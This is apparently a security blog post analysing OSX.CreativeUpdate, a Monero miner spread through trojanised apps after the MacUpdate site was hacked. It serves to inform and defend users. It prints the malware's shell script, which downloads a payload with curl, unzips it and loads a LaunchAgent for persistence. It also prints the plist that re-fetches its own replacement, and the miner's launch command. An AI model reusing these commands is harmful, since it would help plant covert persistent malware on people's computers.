New crypto coin miner is distributed via recently hacked MacUpdate site

Crypto-currency miner is recruiting devices for mining via MacUpdate. The new malware named OSX.CreativeUpdate is using victim’s CPU to mine Monero currency.
Hackers just pwned MacUpdate site. They use the breach to distribute malicious iterations of Firefox, OnyX, and Deeper applications.
Both OnyX and Deeper were offered for download from a fake Titanium Software URL named ( is the original Titanium Software company’s site). The same method was used for the fake Firefox app. The hackers used this time instead of the genuine link that ends with All downloaded files were well-crafted copies made in Platypus. They were very good at imitating the actual app .dmg files.

After a successfully install, the victim would open the application and then a download would start that will deliver the payload from a legitimate site owned by Adobe named The scheme is ingenious because after downloading the malicious file a genuine a copy of the original app will be opened as a decoy.

This is the script inside the malicious app that would open the decoy app, and then download and install the malware.

if [ -f ~/Library/mdworker/mdworker ]; then
killall Deeperd
nohup curl -o ~/Library/
content_disposition=attachment && unzip -o ~/Library/ -d
~/Library && mkdir -p ~/Library/LaunchAgents && mv
~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300
&& launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf
~/Library/ && killall Deeperd &

This script does two things first it will attempt to open the decoy and then it will verify if the malware is already installed.
If the malware is not present, it will be downloaded and stored into the user’s Library folder. After this a malicious launch agent file named MacOSupdate.plist will be created and stored. This is the agent:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple Computer//DTD PLIST 1.0//EN” “”>
<plist version=”1.0″>
<string>launchctl unload -w ~/Library/LaunchAgents/MacOS.plist && rm
-rf ~/Library/LaunchAgents/MacOS.plist && curl -o
content_disposition=attachment && launchctl load -w
~/Library/LaunchAgents/MacOS.plist &&

When this launch agent runs, a new download of a new MacOS.plist file will start. This new .plist file will replace the previous MacOS.plist file.

This line of command:
sh -c ~/Library/mdworker/sysmdworker -user [email protected] -xmr
Will load a malicious sysmdworker process that is în fact the mining process of the Monero cryptocurrency.
Our cybersecurity team recommends never to trust any unofficial Mac App Store like MacUpdate site is or any other sites like it. Actions like this will jeopardize your privacy and security. This kind of so-called App Stores are well known for being malware distributors. In fact, MacUpdate was used before in 2016 to do such vicious things like distribution of OSX.Eleanor malware.

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